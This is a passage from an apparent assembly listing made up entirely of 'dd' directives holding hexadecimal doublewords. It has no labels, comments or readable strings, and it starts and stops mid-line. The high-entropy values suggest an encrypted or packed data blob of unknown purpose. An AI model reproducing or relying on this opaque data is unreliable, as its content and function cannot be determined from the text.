0DD7A45BEh, 87D02E0Dh dd 2618FFEEh, 23A628Bh, 0A4F9120Fh, 0B288095Dh, 88FA7C63h dd 17A4516Dh, 0D5C4E006h, 4010FC2Fh, 66015A09h, 50E58058h dd 0C0DEDDF6h, 80DF440Eh, 0F991DA31h, 99B1E961h, 7CDAEC35h dd 18484956h, 9EB77825h, 0E5CE9F65h, 3A80974Bh, 0F41CC80h dd 0E4D0DCF6h, 1D27888Bh, 0B96A87h, 17105EEh, 272D6849h dd 6249877h, 11642710h, 0C1E55D70h, 0C4AF2822h, 112B609h dd 0E6808BFDh, 0C3FCEC07h, 0F0B4E495h, 0AF05BD87h, 3B778153h dd 9F800420h, 105E56DFh, 41D90177h, 4F2D3608h, 0E9820DA2h dd 9DE8BE3Ah, 893D58C7h, 8BD92FF8h, 0A768FB72h, 5816BC72h dd 0D54220E9h, 0AF421F68h, 5DDB0475h, 1EDD30EFh, 5A1D4812h dd 2089BBBDh, 1913943Fh, 73E42EE9h, 86930754h, 0A0475B25h dd 0A203CF6Eh, 0D15D101Ah, 4A1004EFh, 0D07FA746h, 0C18E9C5h dd 73DCE4BFh, 381D0B81h, 45837302h, 819C4BAAh, 0B2C5E8h dd 7986DBF6h, 850A4BD3h, 0B5FAECCBh, 6987749Ch, 89F33C98h dd 10850EAh, 0F58006A1h, 0D2760698h, 83A5C53Ch, 0E5D052EDh dd 0F60590C0h, 161AC9D5h, 7146F0Ch, 5866CDF0h, 701CD62Ah dd 59E83837h, 68D82884h, 9130EA93h, 4FF671B7h, 0B6D328D7h dd 2C800F3Fh, 5A1D575Bh, 22B2EF8Fh, 0D666A9C7h, 0CBF8B86h dd 0D7A053CEh, 360A5A45h, 0A3FB0166h, 66990820h, 68A530C9h dd 0D9888042h, 0B5F31EEh, 7FFA1DE4h, 36E22C5Fh, 827ECE05h dd 32E9164Bh, 169FE2D0h, 532995BDh, 8D14307Ch, 39E90BB8h dd 0A52B5B1Ch, 0E989E9F1h, 5C8D50A1h, 865C8C59h, 0D0685A04h dd 0C4C7A803h, 0B0164EA3h, 404FC297h, 0A7E0ABC1h, 2FCB346Ch dd 0CFFEC2A2h, 0BF56A584h, 284C1E1Fh, 0E12C28EEh, 0AAD98EE2h dd 941A1C3Eh, 85A2DFCBh, 0A50F7DB1h, 7DB95560h, 79706A04h dd 6589C04Bh, 170BF07Bh, 9619F2E9h, 0C9342FF3h, 0D5814E6Ch dd 0D304225Fh, 404C300Fh, 0EF0D60C7h, 1262000Bh, 0E70FED2Dh dd 0C2258972h, 53824158h, 66B3A62Bh, 0E1D463DAh, 0BD098230h dd 6AECEEE0h, 8601F4F0h, 3058E688h, 0A77866F0h, 0A0D7E9C5h dd 0F6ED5C14h, 2AE1BE93h, 0D00CA5DDh, 96DB2227h, 113A080h dd 0A0E10C4Fh, 0BC4D252Bh, 56FB06B5h, 81D074C5h, 2C6A2906h dd 5F628903h, 0D6D231BCh, 17BD248Eh, 0E949899Dh, 56D9F75Eh dd 78BF4849h, 27524C10h, 0D0A78C0Fh, 24F0EC73h, 89383153h dd 8B7E394Ch, 41D521E1h, 630D1F7h, 8F981F64h, 0DF728CDCh dd 86A60C69h, 0E2481929h, 7A904902h, 87BEE0BAh, 23941E06h dd 7EFE0F52h, 13296E85h, 47EF8C5h, 19E1BAFh, 7B74CBAAh dd 7CDBEA48h, 13586001h, 0F3A6E94Fh, 4AFECE34h, 2644B76Ch dd 0B981F90Dh, 0C317F887h, 579EBC8Fh, 200B1DEBh, 92D01E0Ah dd 0CA4C915Fh, 228005A2h, 0BC231F51h, 0A640145h, 605D148Dh dd 5B77E0Bh, 0C082435Ch, 0CC985F0Eh, 0E9830C76h, 0A18DDB3Ch dd 0E3153802h, 199D0B48h, 2D0C40D8h, 7253F52Ah, 0E95781D5h dd 0E76C9B50h, 0BB169EC5h, 95AF6F61h, 0EEF1B781h, 0ED1F2049h dd 0C46DA092h, 77E0AC09h, 2FFE7EB8h, 0B9DC970h, 3DC92004h dd 0B8F707EDh, 5FD909E6h, 4747B3Bh, 48C8003Ch, 61350AD3h dd 8BAA0137h, 7FE9C529h, 1E7D540Ch, 0B65DC1AFh, 2FC831A0h dd 0BBAF998h, 5191AE25h, 48271EFEh, 1E72C683h, 0C8204149h dd 5E17F895h, 0F713D18Eh, 10E605E1h, 9172FE07h, 181AA2Eh dd 56430AC2h, 0A89C89F6h, 0F78F68FBh, 0D1F500D5h, 6313CA09h dd 0C5C80E45h, 2089A5C1h, 0B90751A4h, 64FD0CF2h, 769A1182h dd 0F9246FD4h, 66FC90CEh, 8CC6C83Bh, 0ECC994E8h, 0D72B4B52h dd 0E038D5F9h, 0DD985B40h, 676F6816h, 0D7D6F7ACh, 5BDFF197h dd 8A322F5Eh, 25AF0A87h, 8BF70E41h, 482D5834h, 5400Bh dd 0BC81FD08h, 512BBD55h, 4D71ED12h, 2105CF2h, 8D2D02AFh dd 0C175F83Bh, 0F700498Bh, 0F22881DAh, 0E9809A3Dh, 0A5129EEAh dd 6717105Ah, 0DCAA2B4h, 42D2F759h, 141B0206h, 0E929F6E0h dd 0D24C5F25h, 20590FF6h, 0A8923202h, 985C105Fh, 49A0351Eh dd 8680997Ah, 5D20528Ch, 8083DA95h, 4B685808h, 894AC2BDh dd 97481475h, 0E95435B8h, 0CF0B9330h, 6C281D2h, 21144F9h dd 8A02A642h, 896CAC36h, 0CDD063D6h, 680BC6FCh, 0C45E1480h dd 0CA0D4BD3h, 0E90D614Fh, 0CB2E3ABCh, 0D5845E0Fh, 66B29BBCh dd 0CFC710D7h, 49C38993h, 2C89ED99h, 59F75FE2h, 305F0D30h dd 0C32E80D3h, 0C52CF2F5h, 7CCD3418h, 52D1034Ch, 0A3C98159h dd 83438DE1h, 0E64FE0Ch, 58E9E06Ch, 0C2E65F20h, 54C8C888h dd 1B497868h, 7009E4Ah, 57E93CE8h, 496B9DFDh, 82CA5AB2h dd 501226F3h, 0DAD0CD0Fh, 2F6D560Ah, 0C36237F2h, 0B21DE63h dd 7A2D1E91h, 3EC081D4h, 0F3AD4757h, 0D0831C6Bh, 0CBFE13B4h dd 13FA1208h, 24BA48Ah, 78B55103h, 9CBED80h, 0E2E9FD06h dd 6655E362h, 124424B4h, 135BC2A5h, 51D1B4F6h, 0C8BA03Ch dd 59250A7Bh, 0DB38305Dh, 797B6545h, 0AEFDC727h, 0A369E2FFh dd 68704074h, 889D504Ah, 40B901C6h, 0EFE90F5Bh, 10D87222h dd 0C4CC10Dh, 0E49FC813h, 944FC19h, 130F90CBh, 0B0BE6FDEh dd 749205D1h, 0DE4ED635h, 483C10B1h, 0B933953h, 0C9790204h dd 0F1D72BEBh, 618F087Bh, 1DECFEB4h, 0A09A64B4h, 4A2DE915h dd 0C17E71B7h, 8630F586h, 4420E96Ah, 5AC57C15h, 6BFB0EFh dd 3751CF40h, 0BE7FA368h, 7AC4F0EBh, 4C6099F0h, 14DBC77Fh dd 4D447B32h, 0B901F67Ch, 408647A6h, 0D3722049h, 0C3A2E407h dd 2674CA31h, 366D69A1h, 17FA68C2h, 55B067Ch, 933AE026h dd 0E9C2024Fh, 5DD29C3Bh, 12820850h, 96739D2Eh, 0E4DD9F09h dd 0EFB70F76h, 6A8591B6h, 30958C25h, 0F568C312h, 5FDF8B93h dd 0B7F646Dh, 0B5D84CFFh, 0DEF74E12h, 273C2502h, 0BBF7400Ah dd 49C5BCF1h, 0C2317370h, 91A65541h, 25CBA938h, 9582CF0h dd 9D8D406Bh, 3D5F4B13h, 9EE8E858h, 3655274Ah, 0EB502C50h dd 164BE908h, 2BA7405h, 0FB5565EBh, 0E435BB4Eh, 6B846DB3h dd 0DB68C540h, 0C058796Ah, 0F4C8ED70h, 895AF0D1h, 2059B2Ch dd 2F490B76h, 0C1D0D8F7h, 7A00A2F4h, 0BA520908h, 1B95A5Bh dd 63E2811Bh, 80314A20h, 7677FE0Ch, 1FBB5351h, 7EDB5C16h dd 0BF2E302h, 947015EEh, 982C6BBDh, 0E50DC729h, 2D67A02Ah dd 8753BF0Bh, 9644225h, 0EB0E8E07h, 0EA4F54D1h, 61F91753h dd 4CA760C7h, 0FC2568FAh, 8BCA517Fh, 13D42C11h, 4642E167h dd 0A4C06243h, 0FB815065h, 498BF43Bh, 1C085EF1h, 0E10444DEh dd 0F6CB6FE5h, 390F277Fh, 1A4556C8h, 3465E026h, 202FAF03h dd 0E4184E51h, 0C432E971h, 234BFA3h, 0FE02BC03h, 4128C2CAh dd 0E123EBB8h, 0C0C6FEC2h, 0A820D978h, 9E6814DCh, 6A85701Fh dd 709A31Ah, 5FF5C3Ah, 80A3C5D3h, 4B37E9FAh, 57DA2007h dd 0EDF5F0BFh, 0DE9D307Eh, 9E857131h, 9C231C45h, 0BF59F140h dd 0F3508907h, 8511E46Ch, 0D64F712Bh, 669F2CFFh, 0C3E9150Eh dd 0F302A39Dh, 0D7BF42BEh, 0F3FD2FFFh, 0D49EE227h, 0BE449DAh dd 0C02CC6B9h, 4A59CD73h, 0D3EC915Ah, 0F85D8736h, 88E23C2Dh dd 240EDD5Dh, 49E908A1h, 9C493435h, 8CA8951Bh, 2FDDE945h dd 0A8E41AA5h, 0D71E890h, 694E6D9Ch, 6B8A71DAh, 0F0DBAA9Ah dd 8E160FEAh, 0D2FC6084h, 305807D9h, 985EDC31h, 0A1DD2DE3h dd 2302C44Ah, 0E10DFE10h, 0D8127A7h, 1372F905h, 2DA32011h dd 0ACE907A0h, 1207464Dh dd 64AE671Fh, 56D20058h, 0E920063Eh, 32276826h, 9D056F87h dd 0BDF80BBh, 0C14B3F6Dh, 7C3BA30Ch, 0D07A8016h, 0E97BDC3Dh dd 7899D88h, 1F025ED4h, 43112C14h, 7D85F3A3h, 0C6BEEC3h dd 50FF01A4h, 2E050978h, 0D3F7339Ah, 31CB8DC0h, 0E9B54C2Bh dd 0FBCFF302h, 89DDCCF5h, 5D5903AAh, 0A8DC515Bh, 42EF9F04h dd 0D5FDE9F6h, 0D60B0A5Bh, 70F974A7h, 112B968h, 0CBFC505Dh dd 0AAF2854Fh, 40120928h, 38B45C30h, 0C85DC3h, 0D0CE865Ah dd 91B050E6h, 0C03A0C00h, 63403E0h, 9EAAEAE9h, 3606C997h dd 0BB0414ABh, 41653DD8h, 4D043EEDh, 0C062B4A4h, 0CD7BF614h dd 0EE94609h, 0D3937CACh, 0DA8AAA4Fh, 8455E25Bh, 1133260h dd 3965A811h, 8F21EC72h, 825C5CCFh, 0F14E0D68h, 26FB4B51h dd 60B85000h, 0BF5F1C3Eh, 5E4638C0h, 802BE03Ah, 2A513A27h dd 5A5FA2Dh, 0C501A152h, 7964F358h, 0BF16A59Dh, 444A9EECh dd 13FDF548h, 0C2CDAEA1h, 58DAC8AFh, 50076817h, 71640C60h dd 0CE2D5802h, 0BF99262Fh, 0A7173F57h, 414897E3h, 0A05CF8C9h dd 0E5F0269h, 0E23305BFh, 0E7680954h, 40931A58h, 280E2687h dd 0ECD03980h, 107F768Eh, 2FA41EE9h, 0E539C130h, 4844B900h dd 276BED3Dh, 591B8735h, 0C0EDD804h, 0E81D6912h, 87688207h dd 62EA9A71h, 0DA995710h, 13693884h, 50F28D7Fh, 0BD0ABC64h dd 21310779h, 90B4E416h, 291D1AF8h, 41B5D2EBh, 3C0DB96Fh dd 980E706Eh, 748B069h, 45CFCA24h, 0EA215Dh, 40AEF8Eh dd 894B0809h, 5DE98AB4h, 0C045FFFCh, 3AE42D6Fh, 5468D8D8h dd 7CE9A15Bh, 6669BDB1h, 6B4D2602h, 4211DEDFh, 9A5D8D0Fh dd 2CFAC280h, 99350C9Eh, 9B642BDh, 650685C1h, 0DB933A88h dd 0CBB69FB4h, 30AE040Ch, 0BD4FE9F3h, 0EAD3975h, 0DB04BE68h dd 40B9D0D1h, 7F01FC77h, 0E670C9C8h, 0D85732E1h, 25BF2F43h dd 0FAC22CC1h, 0C8E40D8Ch, 875A0C88h, 0A7C54EA2h, 0EA221E8Ch dd 0DFF72AF9h, 1FE87CB3h, 0DAF901FBh, 19C037A6h, 66383725h dd 72EEBC29h, 0D7CA08A2h, 74D76D41h, 0AAAD5FEEh, 0E9C33001h dd 0BD48B8CEh, 546E130Eh, 2D6CA34Ah, 89B7E751h, 51712AC7h dd 14C44888h, 199ECE59h, 0E0445DD9h, 137A1F08h, 6C297017h dd 0CD038A8h, 4135D32h, 1604444h, 0ADE95111h, 504ECAFEh dd 291770A4h, 0D295E49Fh, 7E18F372h, 12B1F195h, 676CFFEEh dd 47393168h, 62166355h, 459B064Ah, 30C7804h, 85FA9D50h dd 6C00CB01h, 0AE2386C7h, 52DAE949h, 0C27309Bh, 746B56D1h dd 18E96169h, 106A26E0h, 100F0F2h, 0D4EB81C3h, 157D4E17h dd 7A087627h, 5EDE3AC7h, 40C8B072h, 5F050503h, 484DEE63h dd 0E98575B8h, 0D2D7A08Ah, 0E235E895h, 225F8297h, 1045C4C3h dd 0A820E928h, 0EE21ED2Eh, 4B7BE12Ch, 59A0052h, 0D5F950FCh dd 0EAF8E098h, 8F27449Eh, 0E58CB386h, 389E9A31h, 0E10FE4B1h dd 860C058h, 5080B252h, 0E2E0B47Dh, 0D15C20F8h, 0E980B090h dd 2F8295BAh, 0B1FFCBF3h, 8B2F54FBh, 4EE913DFh, 0DDB8B185h dd 8266A2D6h, 5F561668h, 0A45D6816h, 59BE0255h, 5839A664h dd 0C0F602EBh, 465CE371h, 0EB4A7A78h, 1587B80h, 0A8DDF1FBh dd 3395322Ch, 0B26709A5h, 5C41E25Eh, 0E1348566h, 448A5B9Eh dd 128124Ah, 0C23BEAD1h, 0A159D642h, 104D6883h, 0F2007966h dd 812E2B43h, 0D14F8E1h, 179C0E61h, 11659111h, 225093B8h dd 95C78EAh, 1EB8331h, 3E523600h, 0B4B81A19h, 0D04BAD09h dd 60C96217h, 3C75C371h, 0E6AF5A30h, 0ADC63268h, 78604A70h dd 84C77B0Ch, 0F329122Ch, 0E909025Eh, 6876E38Bh, 5C5BC269h dd 3E034921h, 57D25119h, 883ECC4h, 3D66ACFDh, 3A13CFE9h dd 97132EF6h, 3D64B315h, 95947C52h, 0B58A5A12h, 0AC3D6816h dd 31BBD261h, 69EAC4F0h, 5AD404EEh, 50BF4B9Ah, 6F50085Ch dd 0CB630166h, 58C3291Ah, 25917F5Dh, 4F0B763Dh, 5C0EE28Fh dd 0E9D346E9h, 0E02CD63Dh, 0F81525E9h, 9ABDA3DBh, 1332657h dd 2DE801B2h, 53C70C82h, 5DD4FC2h, 81AC196h, 0E914010Ch dd 2424DF84h, 0F6A4BF71h, 68CBEA2Ch, 1022B75Eh, 0F716EB80h dd 671000D8h, 41761D2Dh, 0DE188F98h, 0C18AA672h, 971C1F19h dd 0D9F74C40h, 0CA38731Eh, 8729AE33h, 0C4657C1Eh, 9588815Fh dd 593863Ch, 0D897BE8Ah, 130FB52Bh, 0CC83261Eh, 0BC97201h dd 77DD12F0h, 161B9204h, 4EB85B01h, 0C1ED3EB5h, 58441DD3h dd 0C16FEC31h, 57500868h, 22F5F27Eh, 514B284Ch, 6EC4D6E2h dd 0AF091203h, 0BAE5E087h, 5E96F928h, 0C3C10A4Ah, 0B06492EEh dd 8845B229h, 270576F4h, 6E6392FDh, 4D581AF2h, 6410F997h dd 25C4BCBFh, 97FA9E5Bh, 2E4A0571h, 0B112670Dh, 5A2DD200h dd 91505BA3h, 92B17133h, 5BAEEA8Fh, 0DEFA8A05h, 6817B26Ch dd 0A602C4h, 0C1DF5024h, 7BD805E9h, 42EC4FDDh, 0BC85998Eh dd 0AD09952Dh, 1210D6D6h, 2691824Fh, 9C58AC09h, 4BC740E3h dd 76BFE6C1h, 0C802CBAh, 74F22A68h, 0E4B2CBE9h, 55C2EEB6h dd 4F53062Ch, 0F84CD2C9h, 1ABD07CDh, 0A22E8732h, 89DE156Fh dd 412719ACh, 908D59EEh, 2FA9433Ah, 0CB53BB88h, 0C09214D0h dd 5D95A755h, 74E047C5h, 0D0C000B2h, 536650EAh, 521CDEB3h dd 0BDBDDA88h, 2C5B1D5Ah, 7B4FC1EDh, 18ED6971h, 0AAEB5382h dd 92FF2673h, 0C080C73h, 0DA7C038Ch, 0EDEE90Fh, 350E139h dd 0C780E3B7h, 0A54E5A97h, 55CE7FA8h, 2B16E909h, 5FB147Fh dd 0D86CEAEFh, 445EC36Eh, 0CEF11703h, 0DB23D554h, 0AD2D01F0h dd 7974932Dh, 1AB02075h, 0A9854E24h, 48E1D513h, 0C08740D4h dd 7067EB85h, 0DAA17977h, 0AE302F0Ah, 506C2248h, 96DDAB08h dd 4505008Fh, 10A5D49h, 72DC828h, 167F2AA2h, 0EC6815EBh dd 0BF007206h, 2C8639C0h, 73DE7C1h, 61326E9h, 21ECF40h dd 0AE4A6625h, 0AB1873C4h, 0E0B8BFDFh, 3715C1D3h, 38479464h dd 1CE9C402h, 60B954D0h, 15A0260Eh, 50011109h, 579C551Bh dd 0E092E92Dh, 0B15AF42Ch, 12463DEAh, 74FFFED2h, 0DBF10220h dd 0DDC01163h, 1A1FD8CBh, 0F3016A03h, 7D433866h, 8332C970h dd 12F55ACAh, 0DB8EC169h, 17960B68h, 54110DF6h, 0A0ADE765h dd 0E84E2980h, 9A999C1Eh, 5AB451F1h, 621DC0E9h, 8626C9DDh dd 9E391301h, 2DC95FFDh, 82CDDEBAh, 29D94564h, 89F4E575h dd 0BAE05551h, 3D2F2369h, 8139F03Eh, 5FF5107h, 6C77BB94h dd 0B10BB03h, 5D590B07h, 67B2804Eh, 2D47B438h, 0F945F031h dd 896BE904h, 68C211B9h, 0E56648D3h, 55899D9Eh, 0D177D454h dd 0B25C0287h, 854A84C8h, 32F96802h, 0C46476D6h, 8896C6CAh dd 164594F7h, 7B80C93Fh, 0D32FB48Fh, 9F6A347Ah, 8A33837Dh dd 9BDF100Bh, 0AD4DDF7Dh, 842E288Bh, 0D22CA203h, 7084CDADh dd 0C3800205h, 6E1F4407h, 0C88E2F88h, 1762C6C9h, 0BF0102D6h dd 78423733h, 7DCC1930h, 29710B7Bh, 2DFA5DEFh, 661AFCECh dd 5892B7BBh, 5427C08h, 87219EE2h, 0E896846Ch, 72F24B09h dd 0D6A20488h, 0E05B61B5h, 48E3CE6Fh, 95B4509Ch, 92E268E3h dd 0D0466091h, 0BFD27E32h, 0E911EC58h, 930B963Eh, 0C6E4F83Ch dd 0F119DC7Eh, 0DFCAAF04h, 40B7E913h, 55FABA6Dh, 9DB00E96h dd 54278B02h, 57D2F757h, 0A44A62E1h, 0E5005609h, 89408513h dd 0C5A4CD3h, 0FABF5702h, 0E7603049h, 28802271h, 0A3041ED8h dd 6F18652Ch, 0F398E0D0h, 0F7803F00h, 0F6C7FEE1h, 0F3EFF8D7h dd 4F30D6C8h, 2BD8F1F8h dd 9E7F69F6h, 665B2593h, 8F0BBCE8h, 79C1DA47h, 0CD0A5FE9h dd 7CA3AC0h, 7A62885Ah, 838849Dh, 0ADE41D84h, 6953FAAAh dd 0ED5E1A84h, 3A16755Ah, 82DBEAA1h, 3BFC8733h, 772F427Dh dd 0C6252BE4h, 0CF2DD915h, 5870BBC9h, 24B2E6B7h, 0C93BF32Eh dd 0EC76F04Ch, 0B0ACEB5h, 161D685Ch, 0E9247DCCh, 0ECAF2EF1h dd 0BD8E0C0h, 44BA6866h, 31B11249h, 0A6160F6h, 0A4FBA9B7h dd 0EA92B7F4h, 901CC0F1h, 5D7B1436h, 896D95Eh, 0B02D0E89h dd 8394A723h, 5BBC383h, 0A583B9ECh, 5CEA28EEh, 0DE5248h dd 19F76686h, 16ACF581h, 0B64B06Eh, 27A237BEh, 4064D25Ch dd 0EA8D5F55h, 8F6F33C6h, 1D51CCF8h, 592F95BFh, 61C2B54Bh dd 844E53D2h, 6601A5F3h, 0E936B450h, 65416E25h, 0E0A7AEDh dd 42FD8121h, 75638005h, 5B76FA08h, 1788C23Fh, 6BE4EB82h dd 9B5316D9h, 14F0B832h, 348F8F66h, 0E0259109h, 0C184FDFDh dd 1270EE1Eh, 4B5A5652h, 74E7EC89h, 0D9C7BBB5h, 0C869FDA9h dd 9DE3982Ah, 54ECD68Bh, 4EE9D909h, 0C208F487h, 0BA56417Ch dd 2BC3B9E0h, 0AC204ABEh, 0E781070Fh, 0B2EC628Dh, 7CB09F7h dd 780038D8h, 6391171h, 0FEFB292Eh, 0F5FE10A7h, 0B66EBFF6h dd 51E68102h, 72651373h, 30603C7h, 5DE93A07h, 0CE51AF32h dd 12FF5494h, 8490BD5Ch, 290390E0h, 17C2206Fh, 0B6528248h dd 0F328910Fh, 60C5695Ah, 9E555F67h, 0EEC8A9F1h, 177CC169h dd 0A112E91Eh, 7E0D389h, 0F6DD28Eh, 2217B85Ch, 985D3FE6h dd 80B7DBC8h, 0BC76EE81h, 10404248h, 4E76B3ADh, 0FEACA1EAh dd 2F596149h, 307F4A8Ah, 0EAA51C7Dh, 0F71D0AB5h, 14A4D106h dd 0B126BF00h, 391E05A6h, 0E04B5C2Ah, 259F235Ah, 30BAC2C5h dd 32201375h, 0CEE93E1Fh, 4A8852AFh, 0BBE100FEh, 6B4F36C1h dd 0A095C8F4h, 0B2010727h, 0BA52021Ah, 5237E8Fh, 0C199E077h dd 4064AE9h, 0E0E50222h, 0D27A76CEh, 2C17CD5Bh, 52432ECh dd 69570B78h, 0E9560980h, 0F1BC8231h, 0D6702849h, 0EEC01A02h dd 0FEC46208h, 82844B0h, 20FA288Ah, 5E5E1521h, 221CCA6h dd 599DB128h, 2E9E12Eh, 0D17E8BE1h, 0D22443E2h, 0A0B3FFAEh dd 91662D2Fh, 9A5434E6h, 0C6E630AAh, 2B170EF5h, 63840160h dd 4FA40816h, 29AFA8C7h, 5A59EECBh, 5563289Bh, 0ABBE5600h dd 812AD96Bh, 773C02CEh, 10E9757Dh, 0FEBAE048h, 572177C2h dd 0D530841Ch, 0B12B83A1h, 62C9F739h, 507F39A8h, 8041D839h dd 6850547Ch, 803FB99Eh, 0FE1EB353h, 0EB33C0CBh, 0AB800A07h dd 0DCA69FFBh, 1584580Ch, 0C144E909h, 0BD404F5Ch, 7DC50865h dd 97522D4Ah, 8BC25693h, 34933656h, 27792ABAh, 9013E30Ch dd 24681C77h, 8BEC497Ch, 65C421Ah, 0D03107EDh, 1D79942Ch dd 0FAF02805h, 0B85B2248h, 992939B5h, 7A0CC0CEh, 0C7B70697h dd 0AFEEF39Fh, 0F45A3238h, 2943DAC4h, 0E24A83A7h, 484ECBC5h dd 77FED57h, 4D293B25h, 7A0779D1h, 662EA22Ah, 0CB21AA42h dd 2A1C5F09h, 0AF748749h, 84514925h, 12FB3B40h, 0B59E835h dd 66876EE9h, 0A2591A8h, 69D9AA51h, 0D8C651C6h, 26CC3014h dd 9670DDE9h, 646B04ACh, 28FFA5h, 25A3689Bh, 686F0BFDh dd 4530E30Bh, 10CC31EBh, 417D9454h, 0B04701FBh, 0AB3220C5h dd 0C1DF92BDh, 0C46FD63Bh, 892CEAA7h, 80A17AE9h, 9C1E2CBFh dd 0F8924D94h, 0EA681D81h, 14B41447h, 42DAF702h, 0FD802D40h dd 0A62E5D81h, 561677C5h, 3F005492h, 67F40594h, 254F7147h dd 0DB58E7C1h, 1B2EF50Bh, 70100FC7h, 7B4DF34Bh, 16E67030h dd 764F125h, 0D14028D5h, 0D6080E0h, 30C357DDh, 0A88113D7h dd 0E65AD031h, 59D897C2h, 0E205087Bh, 78861E99h, 0ECF5B904h dd 85BBF817h, 0C2287F1Ah, 0CA50E2Dh, 0DC446568h, 0C07FFC07h dd 23DFC6F4h, 0B6D85F31h, 76206989h, 0FC768C2Fh, 490FC157h dd 6B060A5Fh, 9ED552D6h, 0C15B251Bh, 69EF5293h, 111F43F3h dd 0F2530ED4h, 581E18Ch, 8A5D3FEBh, 250EF4Bh, 67386208h dd 0EED2D226h, 74379A5Eh, 66C30F58h, 0D64DE28h, 572394EEh dd 0C490F2E3h, 8DFA828Dh, 683BE5F9h, 3E285ECAh, 0B371FF52h dd 65E51EADh, 74A6805h, 3F042BF3h, 0EE6E7E2Dh, 0A0DA0C6h dd 41E9CF01h, 0AFBA83A6h, 42FBF77Dh, 8DF8A4DFh, 0A3C17BB9h dd 55BA2DF0h, 495B5E9Eh, 0C0FA7E2Bh, 0C057500Bh, 0D40A0116h dd 1EDFD0Ah, 83B5FE38h, 62D02D1Ch, 0EDBF6DBDh, 38D12DD3h dd 0D5A5E984h, 8F5187B7h, 5912AE2Ch, 0D3D48157h, 0D9A1241Ah dd 0E11AA39Fh, 40DFD910h, 0F2AAC8DBh, 0D2A24AEEh, 83F7E633h dd 0E3C16CA9h, 75841F05h, 534F4360h, 0E5B193BBh, 0A2803E51h dd 3052822Dh, 5D1C7764h, 5F16C757h, 0A3F2D829h, 505F0C5h dd 5D84E912h, 295ACA1h, 7F161C74h, 8A0C3D6h, 4A060CC0h dd 3168417Bh, 0FFED0E89h, 1F693CD4h, 78552E1Eh, 1EFAD239h dd 13FE79AFh, 0BA5CDD4h, 0C490E7BBh, 0EF5C2685h, 2E071071h dd 58CFA34Fh, 955D7D56h, 75C95A7Eh, 270FC8E0h, 17E90D3Bh dd 15FE8207h, 27DE176h, 3BE2895Bh, 2717F7D0h, 0F0B52012h dd 0E7C70804h, 11C2771Dh, 4C8A2ECBh, 881C6394h, 0E90B82C1h dd 0BF6CC2ECh, 0DB5FEFF2h, 25A93125h, 0B8E1CC9Fh, 5702E31Fh dd 486B90BFh, 0F112DD1Bh, 0D3141E77h, 1611DA0Ch, 0C25D54E9h dd 2CEA5F13h, 0DAA8C03Dh, 2158C580h, 0D1BD2527h, 0B02FA2ADh dd 0C5A325ECh, 92D22C6h, 42267198h, 0AD0EBB18h, 0B2554F36h dd 0CE9A7F06h, 0FDFB50EBh, 25EE9701h, 0DA9DECB2h, 23E92DE5h dd 68AD7A81h, 98F33A60h, 101EBA02h, 9B5D3F51h, 5A1A00F5h dd 27CAF281h, 0C0956DB7h, 3EDD5147h, 7DFC4A34h, 321B2684h dd 0DE03020Ch, 25DE810h, 7ED0298Bh, 9CE188E5h, 97A25B12h dd 1CB53EC4h, 0DDF67CC0h, 0CAF3ED80h, 19A7B406h, 0F0E1061Fh dd 3CE1E0C7h, 591875A7h, 0DD0CCF28h, 0A1AE55E9h, 9F586120h dd 0E909526Dh, 9FB0585Ah, 0FC01DBE4h, 89FB492Ch, 0CC825DEFh dd 46AE311Fh, 172410D6h, 0E5E90705h, 0AE07A152h, 0E256EF8h dd 9858DEECh, 45A34F0Eh, 8C19D8A4h, 0E79B5E35h, 0B009B0A4h dd 0CF022C6h, 88A55918h, 74257B77h, 0E91656ABh, 0C3478C5Ch dd 73BD2F7h, 37902D6h, 0E0E9C8B0h, 0B1631668h, 0B88F3ED3h dd 0FAA92A49h, 3EEE8AAh, 4F5D15BCh, 2E969CD9h, 0AF82C475h dd 0F780019Fh, 0EF25206Ah, 0C2DC0E95h, 5C6B9168h, 661260D2h dd 0F8C65938h, 9A0F16F6h, 29015C25h, 9900134Eh, 29442AE6h dd 0B701C112h, 60E73068h, 5F02EFAEh, 0E903B252h, 26A75CB5h dd 8EE7923h, 9FB95Ch, 0BDAF596Bh, 0C05E61E9h, 0BB1792E3h dd 519540D1h, 0E2572EB9h, 0C9811C01h, 7C0C1269h, 571EE48h dd 0C14D5C6Eh, 7C8ECE1h, 0D2309038h, 54E621E2h, 0BE1284CDh dd 2B82FAA3h, 99E64E5Ah, 0BD5500B4h, 203F44A6h, 0A3C5811Dh dd 0E93A4982h, 4EE6D0FDh, 1AE8F821h, 61EDEF05h, 7F65288Ah dd 1A7794A6h, 0DC449A03h, 25EA5651h, 0BE627E41h, 49FA7158h dd 59E11A5Bh, 742C0FE9h, 9CB3113h, 0FEDC086Fh, 928BA60h dd 912ADC7Fh, 87C84ED0h, 24D25A44h, 0DAACB8E8h, 0B570BE43h dd 5C166565h, 0D040F289h, 482F1C77h, 73343247h, 0BDC4BE0Dh dd 0B040FCE3h, 452B1FF1h, 1713E646h, 18AEA970h, 0B4A279C2h dd 0B1D79835h, 3CD03370h, 0DEF13F02h, 7A02ABD8h, 0ED6E2091h dd 36028DBCh, 0F809A555h, 51078230h, 4170AF5Bh, 76044598h dd 314C726Ch, 11A290BAh dd 18608C71h, 0D729523Ch, 5BA2A009h, 0C9990535h, 0AA8938E7h dd 2FE9FF2Ch, 0BC5927AFh, 67E26880h, 715952B0h, 8FBCC149h dd 6F78C403h, 0A214409h, 0AF1C3F4Ah, 0FE04EED7h, 73E3E39Ch dd 3B39CD4Fh, 0C2012F4Eh, 0D5ECC4E9h, 5A5C7414h, 0B3A62DC3h dd 0D1F3EAE7h, 0AF57927Bh, 1FADA861h, 7672B800h, 0DE228825h dd 9F0449DFh, 10C51013h, 18620CD1h, 0E4F49F35h, 1833658Ch dd 288E905Dh, 9D5B1F2Ah, 729F9D96h, 9BBE8E6h, 97E9F754h dd 9B900C50h, 61B85000h, 0D4B583Bh, 0AD4F50E4h, 0F96725E9h dd 657F8E68h, 0F972A127h, 68578305h, 0F9BF1DA6h, 0F758675Ch dd 0E00D1694h, 0CD0E096Ah, 50277BFAh, 99EDB12h, 335B9583h dd 0E324A2A6h, 91FDA27h, 72E9555Eh, 3A96DAF8h, 3EF168C1h dd 0E933CC7Ah, 18194027h, 8214D975h, 0D9A738D9h, 0FEF1AD6Ch dd 9C02F24Ah, 0FE7C9078h, 87608345h, 1C24836Fh, 0E98935B7h dd 80A3C05Fh, 7A8A70F4h, 0A89C25E1h, 0AABC72F9h, 609DDA2Fh dd 276855C0h, 0E7657087h, 1F16692h, 0E018F13Fh, 4CD677EDh dd 3622E99Dh, 3891BC10h, 78B94BBEh, 0AE2CDE12h, 25686E28h dd 43C6717Eh, 